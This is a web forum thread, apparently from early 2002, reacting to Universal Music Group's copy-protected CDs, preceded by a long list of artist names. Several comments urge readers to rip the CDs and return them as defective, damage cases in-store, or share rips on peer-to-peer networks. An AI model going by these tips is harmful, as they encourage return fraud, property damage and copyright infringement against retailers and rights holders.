Charlatans U.K.
Boozoo Chavis
Cherry Poppin Daddies
Chosen Few
Chumbawamba
The Churchills
City High
Terri Clark
Eddy Clearwater
Co-Ed
Cold
Collapsis
Colony
Common
Chris Cornell
Julian Coryell
Elvis Costello
Neal Coty
Counting Crows
Tina Cousins
Cowboy Mouth
Cranberries
Sheryl Crow
The Cru
Crucial Conflict
The Crystal Method
Cyclefly
D-12
Days of the New
DBA
Deep Blue Something
Def Leppard
Del Amitri
Geno Delafose
Depeche Mode
Dirty
Dishwalla
The Dismemberment Plan
DJ Clue
DJ Encore Feat. Engelina
DJ Rogers Jr.
DMX
Placido Domingo
Dope
doubleDrive
Will Downing
Dr. Dre
Drag-On
Drain STH
Driver
Dru Hill
Dub Pistols
Charles Dutoit
Eiffel 65
808 State
Eleven
Alecia Elliott
Emily
Eminem
EPMD
The Ernies
Erykah Badu
Melissa Etheridge
Eve
Factory 81
Jayo Felony
Fenix TX
Kim Ferron
Ivan Fischer
Fisher
Five Easy Pieces
Flaw
Renee Fleming
Fleming & John
Rosie Flores
Juan Diego Florez
Folk Implosion
Robben Ford
Willa Ford
Eboni Foster
Four Letr Word
4th Avenue Jones
Kirk Franklin
Freight Hoppers
Nelson Friere
Full Devil Jacket
Funkmaster Flex
Funky Derrick
Funky Green Dogs
Peter Gabriel
Gabrielle
Gandharvas
Garbage
Genovese
Valery Gergiev
Kathie Lee Gifford
Vance Gilbert
Vince Gill
Girls Vs. Boys
God Lives Underwater
Godsmack
Matthias Goerne
Goldfinger
Jeff Golub
Matt Goss
Amy Grant
Grenique
Patty Griffin
Lee Griffiths
Grinspoon
Guns N' Roses
Guy
GZA
H2O
Charlie Haden
Sammy Hagar
Aaron Hall
James Hall
Tom T. Hall
Hampenberg
Hanson
PJ Harvey
Imogen Heap
Eric Heatherly
Helmet
Jimi Hendrix
Tish Hinojosa
The Hippos
Christopher Hogwood
Hoku
Hole
Jennifer Holliday
David Holmes
Honeydogs
Shirley Horn
Hot Boys
House of Llama
Rebecca Lynn Howard
Ray Wylie Hubbard
Enrique Iglesias
IMx
Incognito
Injected
Insane Clown Posse
Isle of Q
Allen Iverson
Ja Rule
T.D. Jakes
Al Jarreau
Jay-Z
The Jazzyfatnastees
Jane Jensen
Jimmie's Chicken Shack
Beau Jocque & the Zydeco Hi-Rollers
JoeE
Joi
Shae Jones
Montell Jordan
Leila Josefowicz
Ronnie Joseph
Judds
Jurassic 5
Juvenile
K-Ci & Jo-Jo
Sammy Kershaw
Killah Priest
Killing Heidi
B.B. King
Kiss
Jordan Knight
Alison Krauss
Smokin' Joe Kubek
Fela Kuti
Femi Kuti
Patti LaBelle
Lamb
Jonny Lang
Murphy Lee
Lefty
Ute Lemper
Crystal Lewis
Laurie Lewis
Lifer
Lil' Troy
Lil' Wayne
Limp Bizkit
Live
Live
LLCool J
Local H
Lisa Loeb
Sinead Lohan
Alan Lomax
Longview
Traci Lords
The Love Dogs
Lyle Lovett
Nick Lowe
Lowpass
The Lox
Radu Lupu
Kami Lyle
Claire Lynch
Shelby Lynne
Natalie MacMaster
Majusty
Mamma Mia!
Marilyn Manson
Market
George Martin
Kathy Mattea
Del McCoury
Reba McEntire
Connie McKendrick
Connie McKendrick
Brian McKnight
Holly McNarland
MDFMK
Melky Sedeck
Method Man
Methods Of Mayhem
Mighty Mighty Bosstones
Mikaila
Lynn Miles
Minibar
Shane Minor
Tonya Mitchell
Molly's Yes
Mona Lisa
Monifah
Monster Magnet
Monster Magnet
Moody Blues
Chante Moore
Allison Moorer
Bill Morrissey
Mr. Cheeks
Ms. Toi
Mulberry Lane
Viktoria Mullova
Samantha Mumba
MXPX
Mya
Mytown
Leona Naess
Nelly
Willie Nelson
Ann Nesby
Never The Bride
New Radicals
Carrie Newcomer
Nields
Nine Inch Nails
98 Degrees
Nirvana
The Nixons
No Doubt
Noa
Johnny Nocturne
Jessye Norman
NRBQ
Jamie O'Neal
Ocean Colour Scene
Oleander
Evan Olson
One Way Ride
Onyx
Joan Osborne
John Oszajca
Other Star People
Seija Ozawa
Pastor Troy
Rahsaan Patterson
Ellis Paul
Luciano Pavarotti
Rod Piazza & the Mighty Flyers
The Pilfers
Plastiscene
Playa
John Popper
Possum Dixon
Post Stardom Depression
Powderfinger
Jesse Powell
Andre Previn
Kelly Price
Primer 55
Primus
Prince Quick Mix
The Prissteens
The Prissteens
Proffesional Murder Music
Profyle
Public Announcement
Puya
Que Bo Gold
Queen Pen
Queens of the Stone Age
R Angels
Rahzel
Jason Raize
Rakim
Ram Squad
Rammstein
Marky Ramone
Ramones
Rasheeda
Red Five
Redman
Reel Big Fish
Relative Ash
Remy Zero
Nadine Renee
Res
Reverend Horton Heat
Calvin Richardson
Kim Richey
Lionel Richie
Riders In the Sky
Andre Rieu
Steve Riley & the Mamou Playboys
Rival Schools
Smokey Robinson
Rocket from the Crypt
Pascal Roge
Roomful of Blues
The Roots
Michael Rose
Rosey
Diana Ross
Christophe Rousset
Ruby Horse
Ruff Ryders
Thomas Rusiak
Rusted Root
Matthew Ryan
S Club 7
Safri Duo
Philippe Saisse
Saliva
Sauce Money
Scarred for Life
Bob Schneider
Andreas Scholl
John Scofield
Seahorses
Semisonic
702
Shades Apart
Shades Apart
Shaggy
Gil Shaham
Shuvel
Beanie Sigel
Tommy Sims
Sinisstar
Sisqo
Sister Hazel
Six By Seven
Roni Size/Reprazent
Skycycle
Slash's Snakepit
Smashmouth
Stephan Smith
Snot
Snowpony
Soca Boys
Sir Georg Solti
Sonic Youth
Sonique
Sons Of The Desert
Soul Decision
Sparkle
Speak No Evil
Spin Doctors
SPM
St. Lunatics
Garrison Starr
Keith Stegall
Stella Soleil
Sticky Fingaz
Sting
Phoenix Stone
George Strait
Stroke
Stroke 9
Jimmy Sturr
Sublime
Sum 41
Supergrass
Supersuckers
Super Trans Atlantic
Suzanne Palmer
Sweet 75
Takacs Quartet
Susan Tedeschi
The Temptations
Danny Tenaglia
Texas
The The
Jean-Yves Thibaudet
IIIrd Tyme Out
This Means Raw
Irma Thomas
3 Doors Down
Toadies
Tonic
William Topley
The Transitions
Tony Trischka
2pac
Shania Twain
Twisted World
Twiztid
Twysted
U2
Mitsuko Uchida
Ugly Duckling
Unamerican
Unified Theory
Unwritten Law
Suzanne Vega
The Wallflowers
Toni Lynn Washington
Russell Watson
Russell Watson
Weezer
Gillian Welch
Mike Welch
Weston
Cheryl Wheeler
The Whispers
White Zombie
Dwayne Wiggins
Hank Williams
Lucinda Williams
Mark Wills
Bebe Winans
Witness UK
Lee Ann Womack
Stevie Wonder
Chely Wright
Wylie & the Wild West
Wynonna
Trisha Yearwood
Ying Yang Twins
Young Turk
Rob Zombie
Zoppi
From the text:
"(5)(A) A "digital musical recording" is a material object--
(i) in which are fixed, in a digital recording format, only sounds, and material, statements, or instructions
incidental to those fixed sounds, if any, and
(ii) from which the sounds and material can be perceived, reproduced, or otherwise communicated,
either directly or with the aid of a machine or device.
(B) A "digital musical recording" does not include a material object:--
(i) in which the fixed sounds consist entirely of spoken word recordings, or
(ii) in which one or more computer programs are fixed, except that a digital musical recording may contain statements or instructions constituting the fixed sounds and incidental material, and statements or instructions to be used directly or indirectly in order to bring about the perception, reproduction, or
communication of the fixed sounds and incidental material. "
Hmm. Don't seem to meet the definition of a digital music recording anymore. Phillips is right in their position.
But the e-mail link is as well.
I mailed to send in my official complaint, and it bounced back with a bizarre routing error.
So much for that interview I read where they predicted they'd get a very small amount of complaints... of course, we did unleash a thundering herd of /.'ers on it, so it's to be expected.
I noticed in the legalese it uses Blowfish. How much you wanna bet if you pop it in your LUNIX HACKER PROGRAM and mount it, it will have a bunch of MP3s, possibly with custom headers, encrypted with Blowfish, and a file called "BLOWFISH.KEY" that contains the decryption key? Or a variation.
So which CDs have this wonderful consumer-friendly technology (New And Improved! Now Contains Copy Protection!), I want to buy one on eBay and check this out, before putting back on eBay to get rid of it.
Note: This slashdot post is for informational purposes only. If you live in a country with DMCA-type laws, please pretend you didn't read this. You don't know me, I don't know you, got it?
Here is how they can do this. The question about how ethical (or aesthetical?) is to degrade the music just to avoid (just up to some extent) being pirated, is pretty interesting, I think.
This is a great idea, and we defintely need to let mainstream media know, so that then Joe consumer will know. Mod up parent.
If you run an out from your audio player to an in on your sound card you can record the music without putting the cd in your cd-rom drive, and thus never seeing the EULA. And you are legally allowed to make archival and back-up copies.
I hope the book publishers don't catch on to this:
</SARCASM>
I listen to a few rather small bands, and while it hasn't happened to me that any of their CDs has been "copy-protected", but if I would get any of those, this is what I would do:
I would send them all the CDs I had of that band with a letter telling them that I am deeply disappointed that they would use technology that turns them against me.
Explain that I don't care about the money, and I do not expect them to pay me back the cost of those CDs.
Go on to explain everything: The need for independents to be able to publish, the possible threat against freedom of expression, the negative impact on cultural diversity, fair use rights, the threat to further technological development, that copy-protection is ultimately a stupid idea that can't work, even in principle and finally that the enforced-scarcity model of copyright is not sustainable in the long term.
The point is just to get somebody you really care about to understand.
For the big ones that are not going to listen to their fans anyway, you might as well return the CD to the shop as defective (because that is really what it is!).
Employee of Inrupt, Project Release Manager and Community Manager for Solid
Take a perm marker or screwdriver with you in-store. If they have to replace the case and CD inside, that would be a lot more damaging (though risky for YOU).
I don't think we need to wait for Philips either. I think we (the consumers) should raise a big stink about not wanting protected music. If all goes well, the stores will decide they need to have a seperate section for protected music. A bunch of people buying music and returning it because it 'doesnt play on my player' (no need to specify you mean your computer) will likely get their attention. At the very least, bring the album to the counter and say "Do you have a version that's not copy protected? I can't play this."
If the protected music is in a seperate section, then it should raise awareness, and make people pay attention to that Compact Disc logo.
The other option would be for the RIAA to produce nothing but N-Sync music. It'll play in everybody's player, and it'll never be copied!
"Derp de derp."
Also if it installs a virus "INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER" then you also hold them blameless. Even if they did it intentionally. Even if you install it at work and hose your whole company's network. Yeah, right :)
At least they're not planning on charging us more for having a less functional product :/
No Additional Charge. There is no additional charge to you for the Player or Content.
The return's policy dos not mention any CD by name or type.
:-)
Therefor ANY CD you buy from UMG should be covered by it.
Wouldn't it be nice if schools got all the money they wanted and the army had to hold jumble sales for guns
The way I think about books/CDs/software is with the "that sucks test." It's my property if it were to be stolen and I think to myself, "man that sucks." My property means I can do what I want with it. Hack it apart, burn it, sell it, trade it, copy it, etc.
Guess what, when my car was broken into and everything stolen, I didn't think to myself, oh well, the record companies got screwed out of a sale. I thought, damn it, "I want my $500 in CDs back."
-- http://www.swcp.com/~hudson/
Just get total recorder from http://www.highcriteria.com/
It lets you intercept the sound as it goes to your sound card by pretending to _be_ the soundcard and records it to your hard disk. It even let you specify an mp3 codec so you can compress on the fly (on my Duron 750 anyway - others' experiences may vary) So if the included player really works, then you can still rip the cd to mp3. Unfortunately you have to use windoze, 'cause neither their player nor total recorder work on linux or macs.
They forgot to include an answer to "Why won't this playproperly in my CD player? It keeps skipping."
Personally, I hope that CD Player manufacturers *don't* design devices that support these fubared CDs.
Buy lots of these cds, open them, and return them. I'll bet that after enough hassle, the retailers (who are the label's real customers) will stop buying defective product.
3 cd's I own now have this one is shaggys latest craptacular release (don't ask) the offsprings americana, and my bare naked ladies live cd all have their own player in them.
but it gets worse. When I started to hear about all of this copy protection bs firing up I went to my local record store and paroused the "pop fluff" section, I found some very interesting verbage on the back of a Brittney Spears album and some similar stuff on nsuck's stuff.
It was hard to understand legaleaze (rhymes with sleaze) written in microfine type, they explained that not only did this disk contain it's own player but it also contained the latest version of AOL and some other craptacular software (hows that for an album with staying power). But no mention of any copy protection
I used to have a cool sig, back when I cared
Perhaps this is a contrarian sales strategy?
TSG
"Hi there, I am the previous owner of this CD. If you bought this CD thinking it was new, guess again. I returned this CD to [the store I bought it from] because it is defective and will not play in many CD players and computers. I suggest you do the same. And while you're returning it, ask them how this note got into your shrink wrapped CD."
dd
Putting aside rights of artist vs rights of consumers vs rights of corporations.
.. that should factor into they're media selections.
The simple fact remains that a company is intentionally distributing defective products should speak for itself.
It still surprises me how out of touch a organization can be with the current market.
The fact that normal consumers see that a middle of the road dedicated CD player cost only $50 - $75US less than a middle of the road DVD player.
Since these disk will not play on DVD players
Well, except in the case of things like copy protection or other such "value subtracted" details to a digital item, it's more difficult that just boycott or not. I want a (permanent digital) collection of good music, classic movies, etc.
This is obstructed by the fact that DVDs are CSS'd, music will be similarly scrambled, and so forth. I don't want to wait until such "copy prevention" (truly access protection) has been killed by the market- by then some of my targets will have left the market.
Until the access controls are lifted, I content myself with other forms of countering the controls- things like writing letters to my elected representatives that tend to be faster than market forces (and also clearer in intent).
Boycotting is all well and fine, but you assume they will determine the true cause in sales drop, rather than just blaming piracy.
Some XP users have noticed that their CD/DVD just falls out of DMA mode and starts using PIO. This seems to be because XP backs out of DMA mode if too many errors are recorded on the drive, figuring that something is wrong with the DMA implementation. Guess what? Reading just one copy-protected CD can cause enough errors to do this.
Anybody with a *NIX computer can go get any cd's produced by UMG and use cdparanoia to copy them. Then we can take them to the store. UMG has ordered the store to take them back. It would be pretty funny to take back 100 CD's and say that they don't work right in your stereo. You still walk away with the unprotected copy.
I know it's wrong, but so is trying to stomp on fair-use and price-fixing.
I have never understood the copy protection being built into the media.. I have a soundblaster live gamerFX and it has a digital out connection.. as well as the ability to record "what you hear" So why in the hell are they making fair use for the average consumer basically disappear? They will never be able to prevent someone from copying the audio.. audio devices are designed to record as well as play and that will not change.
The term of this agreement shall be for so long as we and/or our licensors own any intellectual property rights in the Player or Content. You may terminate this agreement at any time by returning to us the CD you purchased
At any time you may return the cd you purchased. I don't see anything about refunds, but they should be accountable for a refund at any point after purchase, if the store will not take it back. And another interesting point. Assume that for in some scenariosUMG must provide a rfund for the cd based on the store reciept. What if I were to have a freidn who owns a store cell me a cd for several thousand dollars? Wonder if I could send the reciept and the cd back to UMG and demand a refund?
I'm the big fish in the big pond bitch.
...is provide a powerful enticement for consumers to purchase their music from "real" pirates. Why buy that copy-protected crap at full price when your Uncle Toby knows this guy that can get you a real CD of anything for a fraction of that?
IMO one of the most important reasons that Napster didn't obliterate the music industry overnight is that CDs are basically Good Enough. CDs provide an entire album in a nice (erm) compact package, with high fidelity to boot. This is *STILL* impressive, folks. Who cares if you can save twenty bucks by spending a couple of hours hunting down the dozen new songs by your favourite artist? Many people are simply too lazy and too rich; they just buy the goddamned CD and get it over with. (Besides, it comes in a pretty box.)
However, if commercial CDs suddenly become a big pain in the arse, you can bet your booty that alternatives will spring up.
Although consumers won't find it convenient to pirate stuff all by themselves, I imagine a full-scale bootleg distribution system will spring up fairly quickly. Although compared to Napster this structure has the disadvantage of reducing the number of actual pirates to prosecutable levels, basic economics tell us that so long as the demand is there, the supply WILL try to meet it. As with the 'war' on drugs, once can therefore expect many police hours (and therefore, tax dollars) to be spent finding and squishing a never-ending procession of infinitely-replaceable suppliers. What a pain! What an expense!
- undoware.ca
When you can prove that the offending party's actions were willful, it increases the judgement that you're awarded.
i would like to rip one and then return it, just to piss them off. how is it done?
You understand and agree that any unauthorized use of the Player or Content would result in irreparable injury to us and/or our affiliates or licensors for which money damages would be inadequate,...
My unauthorized use will cause them so much harm and injury that even money will not suffice??? Isn't the whole reason they are doing this to make people buy more cds (because you can't make copies so yours don't get scratched, stolen, etc.) and disallow the use of the cd to burn MP3s so that they can make more money?
Stupid. I'm going to try and fashion some sort of letter to the editor to let people know this is going on. I told me dad, and he was quite concerned. I think that other non-technical types who haven't heard about this will be as disgusted as we all are. I know our local paper won't provide any info about this.
BTW, one cd that's not on the list provided but that we bought that certainly had problems playing in many of our players (old car cd player and old home cd player)is Warren G's Return of the Regulators, put out Dec. 11 by Universal.
http://www.fatchucks.com/corruptcds/ is a another source for lists of copyrighted cds, not just the ones by Universal.
Most people would die sooner than think; in fact, they do.
But if I do buy it, I'll have to make an analogue rip of it so that I'll be able to play it on my PC.
Once I've made that analogue rip, the songs will automatically be shared via my cable modem line. Then it'll get sucked up by all sorts of other people who would have bought the CD if it wasn't copy protected, but would rather download it instead of going through the hassle of doing an analogue rip.
In other words, their demented form of copy protection actually encourages piracy.
or a cd player?
i think most people have both. so the circumstance is pretty easily circumvented.
I was just thinking that maybe what we need is to listen to music that's not from the RIAA. I know there are talented people out there. Here in Portland we have a bunch of aspiring musicians that nobody has really heard of. It seems like if they had a way to get some exposure, they'd be able to use the net as a revenue stream to encourage them to keep creating.
How can Slashdot help? Well the first thing it could do is to generate an article on how to build an audio-PC with all the right microphones etc to do a high-quality capture. Then go on to explain how to do high quality MP3 (or any format really) encoding to make available on the web.
The band puts up a site with a few high quality Mp3's, a couple of them are free to download, and the rest people are asked to pay a few bucks for on Paypal or something to that effect. If it's Slashdotted, they'll get a lot of interested traffic in the first place. I don't know about anybody else, but I'm willing to buy music this way simply to support the start of this idea.
More money can be made on this by creating an MP3 with a 'visit us at http://www.bandname.com/albumname for more music, T-shirts etc...' teaser at the end (or beginning?) of the song, then release them for free on Morpheus or Kazza or whatever P2P technology is around.
Will there be piracy? Of course. Duh we all know that. But I do think that the artists could potentially make a very respectable income this way, and maybe even make a full time job out of their dream. It's important that they keep the quality up, but who knows? Maybe this type of thing could spell the end of the RIAA's monopolistic ways? The only reason we're dependent on the RIAA is that we want more music, remove that dependency and their value goes way down. There's no more boycotting or even DMCA to worry about.
Whatcha think? Anybody willing to try this?
"Derp de derp."
I couldn't find it, but are these discs currently in publication? and If so...which alubms?
:)
I'd be interested in picking one up, but I won't attempt to reverse engineer...that's prohibited
Even among my family, and they're not that tech-savvy, many of them have a DVD/CD/MP3 player as their main player. If they can't play it on that, they'll return it outright. None have a Mac, none run linux, but some have a portable MP3 player. If they can't play it on that they'll a) return it *and* b) download the mp3 version of a p2p network. And then Universal will complain, but they did it to themselves
Kjella
Live today, because you never know what tomorrow brings
As a musician my first instinct is to think that Universal are digging their own grave, and quite enthusiastically, too. My problem as a musician? Nope. My problem as a consumer, No, although if this all leads to massive losses for the recording industry we consumers will be made to pick up the bill in some form of government subsidation.
As a musician I can only hope that the independent labels don't jump on this bandwagon, but if they do, I expect to see a large number of artists leaving this RIAA-controlled ballgame and starting their own labels and publishing companies. Makes perfect sense. Why should I sign with a major record company to have them screw up my recording with a faulty CD (and faulty it is, if it's not redbook compliant, IMHO), when I can do it all myself, have CDs pressed for little money, sell 'em over my website for less than a CD would cost in a store, even with shipping included, and not piss off fans by offering them CDs which they can share in any way they like? I for one don't want to put a cap on what a consumer can do with my CD or not. If Joe Bloggs wants to rip my CD and transfer it to his MP3 player, more power to him. Who am I to say no, you can't do that? And who is Universal to say no, you can't do that? And who are they to say you can't play this CD on a Linux box, or a Mac? There's only one phrase to describe this: Cultural dictatorship.
People, support independent artists and boycott these people until they do away with this scam. We'll be seeing more of the Princes, Discipline Global Mobiles and Ani DiFrancos in future, give them your money instead. They're more often cheaper, and they don't object to you doing whatever you want with your CDs.
This calls for MiniDisc.
I've already got a simple little boombox which will play copy-protected CDs. These days the moment I get one, I make an analog copy to my MiniDisc player and then return the CD rather than keeping it.
The later MiniDisc players use an improved revision of the ATRAC compression which is very, very good and can be re-encoded to MP3 without any noticeable loss in quality or re-burned to a CD through any number of pathways.
The easiest way to fight copy protection is to up the stakes... Rampant product returns with rampant copying. Put the labels out of business... if there were no labels any longer, artists could compete for shelf space on equal footing -- maybe then some music retailers would consider carrying CDs made by local artists -- and could get paid better for what they produce.
A PC running Linux is still a PC, but it is not Wintel (no Windows).
A PC running AMD intead of Intel is till a PC, but is not Wintel (no Intel).
Here's what I just wrote:
I am an avid music buyer, and spend upwards of $500-1000 on CDs per year. As soon as I purchase a CD, I immediately convert the music to MP3 format so that I can play the music on my MP3 jukebox. I do not actually play the CDs directly any longer because it is not effiicient to do so.
Because of your non-compatible "CD" format, I cannot do this and therefore can not and will not purchase copy protected CDs.
Your actions in not following the standard Red Book CD format will cause many problems for music lovers and cost you many millions of dollars in sales. Please reconsider your unwise decision.
-------------------------
slashdot@com.jarnot (swap the domain)
All PCs are microcomputers. So are Macintoshes.
No Macintoshes are PCs.
Some but not all PC's are "Wintel"
just to return them when I get home. Each one I will complain that the sound quality sucked. I am determined to do my part to end this nonsense.
Everyone with a Linux/BSD/etc. unix box, everyone with a Mac, should go buy as many of these cd's as they can afford. Open the packages. And return all of them because they won't play on your computer. They won't be able to sell them as new again, and UMG could be out some big $$. They want to screw the consumers over? I say let's screw them over!
Any reports of the CD's released that are protected? I'm ready to risk 20-30 bucks on this one.
From the Return Policy UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund: The CD is not playing in your CD or DVD player. The CD is not playing in your computer. Everyone with Linux can take these back!!! I'm fairly sure that even in the US a computer running linux is still a computer.
Uh, sorry, this analogy only applies if one or two Ritz crackers were good and the rest of them burned or whatever. In that case, yes, I'd pitch a fit if most of my box of crackers was cardboard discs with one or two (admittedly tasty) crackers tossed in.
Virg
Well, ok, it's either copy protection or the 1992 law they use to make a few bucks, obviously. I have this feeling that they will lose much more by trying to enforce copy protection (and by giving up that law, possibly) than just letting things go this way. Just think about it: you can circumvent copy protections -- that should be quite clear by now -- but you can't circumvent compulsory taxes so easily :-)
Along side this is a question i've had for a while: why, after paying this "tax" on blank media, have i not been considered to have paid for the copies i have made (or will make)? Since it is assumed that i will use my blank media for music copies, why is it wrong for me to then use my blank media for copies of music?
In reality, there WILL be backlash, but they are prepared to weather this storm.
So I believe this will blow over, the scheme will be hacked, and music will continue to flow to the technically saavy while the money flows from the musically hungry.
So, in 6 months, we'll all be reading about the latest buzz about someone who publish a hack to the UMG copy-protection and got some litigation.
mug
PC with 300 megahertz (MHz) or higher processor clock speed recommended; 233-MHz minimum required;* Intel Pentium/Celeron family, AMD K6/Athlon/Duron family, or compatible processor recommended 128 megabytes (MB) of RAM or higher recommended (64 MB minimum supported; may limit performance and some features) 1.5 gigabyte (GB) of available hard disk space.* Super VGA (800 × 600) or higher resolution video adapter and monitor CD-ROM or DVD drive Keyboard and Microsoft Mouse or compatible pointing device
My beliefs do not require that you agree with them.
On the contrary, Buy, buy, and buy another. Go home, open it up, place it in your macintosh, or your PS2, observe the errors. Now stand up, and protest in a true and meaningful way! Return the Disc. They eat the cost of production, packaging, and now, refunding the retailer!
Stick it to 'em where they'll feel it!
-GiH
No, it takes (1) individual to copy it to an unprotected format and share it on a p2p network. From there on you have a network with thousands and millions of members, nearly all of which have a cd-burner for the "last mile" for those who don't bother doing it themselves. If you're the local "hub" you'd probably deliver with a cd label, a nice jewelcase and a high quality scanned and printed cover too. Heck, if it takes a little skill or work we might actually see some quality rips floating around and not your average 128k CBR "I just clicked"-mp3s as it is now. I've seen some examples, and you won't know it's pirate until you flip the cd over and see the cd-r color. Of course if all you need is the cd, handwritten title with a black pen, "everybody" can do it for you. It's like trying the win the war on drugs without having drug lords or "made" men, just small-time dealers and smaller.
Live today, because you never know what tomorrow brings
A: That's isn't really a question, is it.
Simple recipee to make mp3's from your universal discs.
You will need the following ingredients
1. Portable CD Player
2. Audio Cable
3. Sound Recording software
4. Mp3 Converter
Place CD player on desk and put "protected" cd into the player. Run audio cable from player into the audio in of the sound card. Start the recording app and press play on the CD player. Once the song has finished playing save the file and compress it in mp3 format.
Launch your favorite peer to peer sharing program and share with others!
Don't worry dude, I am sure Britney will have a "Best Of" compliation box-set out in 5 years, so you can just get that to replace all your coasters. :-)
My beliefs do not require that you agree with them.
Just take a quick look at cdnow.com they advertise 'Fast and the Furious' on CD.
'CD $18.97 List $ 18.97 Add to Cart'
Sounds like a good place to start complaining.
I'm sure Amazon is doing the same (pesky work firewall).
It would seem to me that this is false advertising on their part. But hey....what the heck do I know?
or microcomputer, rather.
seriously, when was the last time you heard that in a spoken conversation?
Is there a list of CD's that are currently copy protected by UMG? That would be very handy. bill
Hey! What are you guys talking about? We need to support the music industry! If we don't all buy these copy protected CDs from UMG, the terrorists will have won!
> The only money that was lost was by the store, and not by Universal.
So, what you're really saying is that I can do this, and then Tower Records (which carries significantly more weight in the industry than I do) will put the screws to UMG for costing them so much time/money, so I don't have to bother.
And this is a bad plan exactly why?
Virg
No matter *what* they do, there'll never be a copy protection that works... as long as the music is playable through a computer, it can be ripped. Take the simplest possible example: pipe the output of your sound card into *any* recording device, be it a computer, or otherwise. If you have a sound-card with digital out, then this is a lossless step, preserving the original quality.
All of these schemes are pointless and nothing more than a nuisance to consumers. As someone else already said, this actually helps things to get pirated, as you can buy it, rip it, and return it for full price!
I've said this multiple times... and posted it on my website titled the RIAA can bite me
Wanna send a clear message to record labels that we won't put up with this? Here's what to do:
Go to you local music store.. if you see a CD that you *know* is copy protected (because a friend has told you or it has a warning label) - even if you don't like it.. buy it. Unwrap it and then *return* to the store for an exchange for something that you *do* like and is *not* copy protected. This way, when record labels get all of the CD's that are protected *back* they'll get a clear message from the music buying public that we WON'T PUT UP WITH THIS TREATMENT!
Polymorphism -- It's what you make of it.
I like the part of the legalese that says that there is no additional charge for the "new, enhanced" content on the cd's.
Right. Like anyone in their right mind would pay EXTRA for crippled, content-managed WMA files.
Quoting from their tech support page:
"The current version of the copy-protection technology does not allow you to copy files from the CD into MP3 format. UMG is currently making every effort possible to upgrade our available technology to add new features and increase playability."
This implies that in the future you may be able to copy from the CD into MP3 or other format.
Quoting from the Legalese:
"you may not attempt to separate the Player or Content from the CD on which you received them."
Technically possible or not, you're simply not ALLOWED to.
I wonder, why, if they claim to be working on allowing you to separate the content from the CD, you're not allowed to do so yourself, if you figure out a way to do it?
I have posted my correspondence with UMG on the topic - I'm awaiting a further reply.
I wrote to Universal's new address asking why they were going to stop making CDs I could play on my Mac. Here's the response I got, annotated:
On Wednesday, January 9, 2002, at 12:51 PM, MusicHelpOnline.com Support wrote:
Thank you for your feedback regarding copy protected CDs. We
appreciate your opinion, as the consumer experience with the music we all
love has always been a priority at the Universal Music Group.
I don't 'consume' music. I listen to it. It's still there afterwards (though I get the impression that you'd like it if it wasn't).
Unfortunately, over the last few years, the music industry has been faced
with a growing problem of unauthorized CD "ripping" leading to illegal
Internet distribution of music - a practice that is hurting everyone from
recording artists to songwriters to record stores. This illegal copying is
taking place on a massive scale, with literally millions of copies being
made without any compensation to the creators of the music.
Interesting progression of words here. The ripping is 'unauthorised'. Who needs to authorise it? Some ripped files have been illegally distributed, I'll grant you that, but then you say that 'copying' is illegal.
Under the Audio Home Recording Act, ripping and copying are not illegal at all; they are expressly permitted. You are confounding the legal acts of copying and ripping with the illegal one of distributing your copyright content without your permission. You are applying technology to attempt to prevent the former, instead of legal prosecution to prevent the latter. This is your mistake.
Your second mistake is take the word of someone that they can stop CDs from being copied. If someone can play your CD, they can redigitise the output, and rip that, and distribute it online. Its not worth my time and effort to fiddle around to rip the CDs in this way, so I won't buy them, but I'm sure the illegal distributors will work this out.
Net result: you have a lot of fed up former customers, and your music is still distributed online without your permission. Fewer people pay to listen to it, you get less money, and the illegal distribution goes on unchecked.
If a way is not found to protect the music from these abuses, recording artists,
songwriters and many others will be deprived of their livelihoods. The
changing economics could cause fewer new artists to get a chance to find
their audience.
The music is not being abused. It is being listened to. It doesn't need protection.
Or do you mean 'protection' in the sense of 'protection racket'?
Courtney Love wrote a very well-reasoned essay on who is abusing whom in the record industry.
Universal Music Group is committed to protecting the rights of our artists,
songwriters, and copyright holders, and, like the rest of the entertainment
industry, is evaluating emerging technologies to assess their viability while
also attempting to maximize the consumer experience. In addition,
Universal is exploring new ways to make music available in a variety of
online formats. We are also working with technology companies on new
offline formats that appeal to consumers.
Uh huh. Let me explain again. I have an iPod. (125,000 other people do too, and its only been on sale two months). It lets me carry around about 120 CDs worth of music at a time, in a package about the size of one CD box. I like this. I'm listening to more music than I was before because of it, and I will continue to buy CDs to rip and put into my iPod. If that isn't an offline format that appeals to consumers, I don't know what is.
However, you are explicitly working to stop me doing this. When I buy CDs at the moment, I look at the artists name, not the record label. Now I'll need to check that its not a Universal CD, in case you have 'protected' me from listening to it. This is one way of building awareness of the Universal brand, but probably not a useful one.
We have licensed copy protection technologies developed by others and
are experimenting with the integration of those technologies into some of
our CDs as a first step in measuring their effectiveness in an evolving
marketplace. While the CDs with copy protection may not be playable in a
limited number of CD players, UMG is currently working with our
technology providers to achieve 100% playability. We also hope to
include Macintosh-based playability on copy-protected discs in the future.
We have not finalized our plans for 2002 nor have we made a commitment
to put copy protection on all of our CD releases.
You hope. I'm supposed to buy your CDs on the basis of a hope that you can kludge something together? Let me make it clear. I want Red Book Audio CDs, the gold standard for Audio Quality. I don't want CDs that break this spec, with an extra data track that includes some ghastly software player with a clickthrough licence you have bought from some software snake-oil salesman.
I have some very nice software to play CDs, thanks. It also helps me organise my collection, and move it to my iPod. I don't want to run your software.
I trust that these corrupt, Red Book violating CDs will be clearly labelled as such, so I can tell not to buy them? Otherwise, I'll just have to avoid all Universal CDs until you commit to shipping Red Book ones again.
UMG has also established www.musichelponline.com to provide
consumers with support and to answer any questions you may have
concerning copy protected CDs.
We appreciate your business, and your support for the musicians who
bring so much to all of our lives.
You evidently don't appreciate my business, as you have gone out of your way to stop me playing your CDs. I'm sure your support for musicians is just as sincere.
The Content files are encrypted and the Player contains decryption technology. You agree to abide by U.S. and other applicable export control laws and not to transfer any material subject to restrictions under such laws to a national destination or person prohibited under such laws.
So now I can't take my CDs with me on vacation. That's okay, I'll just download the mp3s off of audiogalaxy. And if I'm going to do that, I may as well just return this CD, as it's pretty well useless to me now...
Synergy is your friend
